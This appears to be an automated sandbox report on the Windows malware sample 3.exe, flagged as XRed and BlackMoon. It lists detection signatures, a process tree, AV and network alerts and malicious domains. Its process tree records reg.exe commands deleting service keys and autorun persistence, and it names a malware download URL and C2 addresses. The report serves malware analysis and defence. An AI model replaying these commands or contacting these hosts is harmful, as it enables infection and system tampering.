Edit tour

Windows Analysis Report
3.exe

Overview

General Information

Sample name:	3.exe
Analysis ID:	1487925
MD5:	ce31c7fbda3ec7956327a742c68da537
SHA1:	53b5a92eed85fd08dae67978abfe0e8254c15451
SHA256:	a8e9838eef63bfca0af5e1d9704062c36c168d44a06d53c4d0560f5389f2a760
Tags:	exe
Infos:

Detection

BlackMoon, XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected BlackMoon Ransomware

Yara detected XRed

AI detected suspicious sample

Allocates memory in foreign processes

Changes security center settings (notifications, updates, antivirus, firewall)

Detected VMProtect packer

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Found driver which could be used to inject code into processes

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the DNS server

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file has a writeable .text section

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Sample is protected by VMProtect

Tries to detect virtualization through RDTSC time measurements

Uses cmd line tools excessively to alter registry or file data

Uses dynamic DNS services

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to retrieve information about pressed keystrokes

Creates a process in suspended mode (likely to inject code)

Creates driver files

Creates files inside the system directory

Creates or modifies windows services

Deletes Internet Explorer cookies via registry

Deletes files inside the Windows folder

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the windows directory (C:\Windows)

Drops files with a non-matching file extension (content does not match file extension)

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the installation date of Windows

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Excel Network Connections

Sigma detected: Suspicious Office Outbound Connections

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Yara signature match

Classification

Process Tree

System is w10x64

3.exe (PID: 1340 cmdline: "C:\Users\user\Desktop\3.exe" MD5: CE31C7FBDA3EC7956327A742C68DA537)

._cache_3.exe (PID: 4340 cmdline: "C:\Users\user\Desktop\._cache_3.exe" MD5: A2D8E20445CF88A10FADE8DE1B8379FD)

C2485384.exe (PID: 7812 cmdline: "C:\Program Files (x86)\google\C2485384.exe" WfCSiyl7KCmSdCh9fCp6eymBklp7KYEqfR6SPI15L3l2e43pPHsme04= MD5: 0D79B45E55C20F14D9614596247B7DF2)

reg.exe (PID: 4040 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\A0A461yPs /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 6364 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 1292 cmdline: "C:\Windows\System32\reg.exe" delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\7361p1CQa /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

conhost.exe (PID: 1224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Synaptics.exe (PID: 7476 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: B18C94884CC98C89024034F707824909)

WerFault.exe (PID: 7820 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7476 -s 8012 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 2376 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 3044 cmdline: C:\Windows\system32\svchost.exe -k UnistackSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

SgrmBroker.exe (PID: 5828 cmdline: C:\Windows\system32\SgrmBroker.exe MD5: 3BA1A18A0DC30A0545E7765CB97D8E63)

svchost.exe (PID: 1456 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 6196 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7172 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7412 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MpCmdRun.exe (PID: 7808 cmdline: "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable MD5: B3676839B2EE96983F9ED735CD044159)

conhost.exe (PID: 3920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 7448 cmdline: C:\Windows\system32\svchost.exe -k LocalService -s W32Time MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7624 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

EXCEL.EXE (PID: 7688 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

splwow64.exe (PID: 2856 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

svchost.exe (PID: 3640 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Synaptics.exe (PID: 3212 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: B18C94884CC98C89024034F707824909)

svchost.exe (PID: 4340 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 8324 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 8440 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 7476 -ip 7476 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 4892 cmdline: C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
KrBanker, BlackMoon	ThreatPost describes KRBanker (Blackmoon) as a banking Trojan designed to steal user credentials from various South Korean banking institutions. It was discovered in early 2014 and since then has adopted a variety of infection and credential stealing techniques.	No Attribution	http://researchcenter.paloaltonetworks.com/2016/05/unit42-krbanker-targets-south-korea-through-adware-and-exploit-kits-2/ https://fidelissecurity.com/threatgeek/threat-intelligence/blackmoon-banking-trojan-new-framework/ https://www.peppermalware.com/2019/03/analysis-of-blackmoon-banking-trojans.html https://www.proofpoint.com/us/threat-insight/post/Updated-Blackmoon-Banking-Trojan https://www.rapid7.com/blog/post/2023/07/13/old-blackmoon-trojan-new-monetization-approach/	https://malpedia.caad.fkie.fraunhofer.de/details/win.krbanker

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
3.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
3.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\Synaptics\RCXA074.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCXA074.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\q67hQckB.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\CZQKSDDMWR\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0xcd53c:$s1: blackmoon 0xcd57c:$s2: BlackMoon RunTime Error:
C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\AppData\Local\Temp\RCX7023.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	MALWARE_Win_BlackMoon	Detects executables using BlackMoon RunTime	ditekSHen	0x470fc0:$s1: blackmoon 0x471000:$s2: BlackMoon RunTime Error:
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 13 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1253675278.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000011.00000002.3860099169.000000000FBA4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
0000000C.00000003.1399289414.000000000053E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
0000000C.00000003.1518200362.0000000007585000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: 3.exe PID: 1340	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 7476	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: C2485384.exe PID: 7812	JoeSecurity_blackmoon	Yara detected BlackMoon Ransomware	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 13.107.246.60, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7688, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49895

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.7, DestinationIsIpv6: false, DestinationPort: 49895, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE, Initiated: true, ProcessId: 7688, Protocol: tcp, SourceIp: 13.107.246.60, SourceIsIpv6: false, SourcePort: 443

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\3.exe, ProcessId: 1340, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 3, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Google\C2485384.exe, ProcessId: 7812, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 7476, TargetFilename: C:\Users\user~1\AppData\Local\Temp\ntiuY44s.xlsm

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 2376, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:32.094980+0200
SID:	2044887
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:36.503803+0200
SID:	2044887
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:40.941092+0200
SID:	2044887
Source Port:	49788
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:26.763596+0200
SID:	2044887
Source Port:	49703
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:28.826210+0200
SID:	2044887
Source Port:	49718
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:40.941049+0200
SID:	2044887
Source Port:	49787
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:41.984304+0200
SID:	2044887
Source Port:	49794
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:34.814004+0200
SID:	2044887
Source Port:	49744
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:27.789343+0200
SID:	2044887
Source Port:	49711
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:26.741637+0200
SID:	2044887
Source Port:	49704
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:39.926107+0200
SID:	2044887
Source Port:	49759
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:39.912389+0200
SID:	2044887
Source Port:	49756
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:43.376557+0200
SID:	2044887
Source Port:	49797
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:43.346025+0200
SID:	2044887
Source Port:	49798
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:36.535678+0200
SID:	2044887
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:33.740729+0200
SID:	2044887
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:42.002730+0200
SID:	2044887
Source Port:	49795
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:33.732047+0200
SID:	2044887
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:44.422999+0200
SID:	2044887
Source Port:	49804
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:27.804242+0200
SID:	2044887
Source Port:	49713
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:30.456088+0200
SID:	2044887
Source Port:	49727
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:28.861082+0200
SID:	2044887
Source Port:	49720
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:32.124055+0200
SID:	2044887
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE W32.Bloat-A Checkin - Source IP: 192.168.2.7 - Destination IP: 69.42.215.252

Timestamp:	2024-08-05T12:00:27.245017+0200
SID:	2832617
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:30.456240+0200
SID:	2044887
Source Port:	49726
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:44.393997+0200
SID:	2044887
Source Port:	49805
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/SnakeKeyLogger Payload Request (GET) - Source IP: 192.168.2.7 - Destination IP: 142.250.185.174

Timestamp:	2024-08-05T12:00:34.792869+0200
SID:	2044887
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 3.exe	Avira: detected
Source: 3.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SSLLibrary.dll

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: WORM/Delphi.Gen
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\RCXA074.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCXA074.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	Avira: detection malicious, Label: TR/Inject.zdewt
Source: C:\Users\user\Desktop\._cache_3.exe	Avira: detection malicious, Label: HEUR/AGEN.1315452
Source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Multi AV Scanner detection for domain / URL

Source: sinacloud.net	Virustotal: Detection: 5%			Perma Link
Source: xred.mooo.com	Virustotal: Detection: 9%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCXA074.tmp	ReversingLabs: Detection: 92%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 84%
Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Desktop\._cache_3.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	ReversingLabs: Detection: 61%
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	ReversingLabs: Detection: 60%
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	ReversingLabs: Detection: 41%
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\Desktop\I4F64A1117\BA459E441E\31884z1x0.dll	ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\I4F64A1117\DB1368E\64DSSSLL.dll	ReversingLabs: Detection: 84%
Source: C:\Users\user\Desktop\I4F64A1117\DD0741\BEE1D5y1w.dll	ReversingLabs: Detection: 78%
Source: C:\Users\user\Desktop\I4F64A1117\I2DF4C05\2537POKDF.dll	ReversingLabs: Detection: 54%
Source: C:\Users\user\Documents\CZQKSDDMWR\~$cache1	ReversingLabs: Detection: 92%
Source: C:\Windows\SysWOW64\A0E0ohaVQ.sys	ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: 3.exe	Virustotal: Detection: 84%			Perma Link
Source: 3.exe	ReversingLabs: Detection: 84%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.7% probability

Machine Learning detection for dropped file

Source: C:\Program Files (x86)\Google\C2485384.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\J30B536C5\380BjggdZ.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCX7023.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\RCXA074.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\._cache_3.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RCX6C69.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 3.exe

Joe Sandbox ML: detected

Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_62534360 CryptMsgGetParam,lstrcmpA,CryptDecodeObject,CryptDecodeObject,LocalAlloc,CryptDecodeObject,	17_2_62534360
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_625341C0 CryptMsgGetParam,_printf,_printf,CertGetNameStringA,LocalAlloc,CertGetNameStringA,CertGetNameStringA,LocalFree,CertGetNameStringA,LocalAlloc,CertGetNameStringA,_strncpy,	17_2_625341C0
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_625344D4 CryptMsgGetParam,LocalFree,	17_2_625344D4
Source: C:\Program Files (x86)\Google\C2485384.exe	Code function: 17_2_625344F0 CryptQueryObject,CryptMsgGetParam,CryptMsgGetParam,LocalAlloc,CryptMsgGetParam,_printf,CertFindCertificateInStore,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,CertCloseStore,CryptMsgClose,	17_2_625344F0

Source: 3.exe

